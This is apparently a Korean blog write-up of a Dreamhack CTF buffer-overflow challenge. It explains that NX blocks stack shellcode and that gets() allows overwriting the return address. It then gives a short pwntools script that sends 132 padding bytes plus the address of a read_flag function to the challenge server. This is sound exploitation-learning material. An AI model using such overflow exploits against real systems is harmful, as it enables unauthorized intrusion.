버퍼오버플로우 문제다.
조건에 NX 비트가 설정되어 있다.
NX 비트는 프로세서 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술이다. 스택에서 쉘 코드를 저장 후 리턴하는 방식으론 명령을 실행할 수 없다.
read_flag 함수를 호출하면 system("cat /flag") 명령을 수행하기에 flag를 볼 수 있다. 따라서 read_flag 함수의 주소로 리턴주소를 덮어쓰면 된다. gdb로 찾은 결과 read_flag 함수의 주소는 0x80485b9이다.
main 함수 어셈블리 코드는 다음과 같다.
스택의 구조는 다음과 같음을 알 수 있다.
buf | ebp | retn |
gets 함수는 버퍼오버플로우 취약점이 있다. 입력값의 크기에 제한이 없다.
따라서 128 bytes(buf) + 4 bytes(ebp)를 dummy로 채우고 retn주소에 \xb9\x85\x04\x08을 넣음으로써 payload를 완성한다.
from pwn import *
p=remote('host3.dreamhack.games',17136)
payload= b'A'*132 + p32(0x80485b9)
p.send(payload)
p.interactive()
'dreamhack > System Hacking' 카테고리의 다른 글
basic_exploitation_000 (0) | 2023.02.14 |
---|---|
welcome (0) | 2023.02.12 |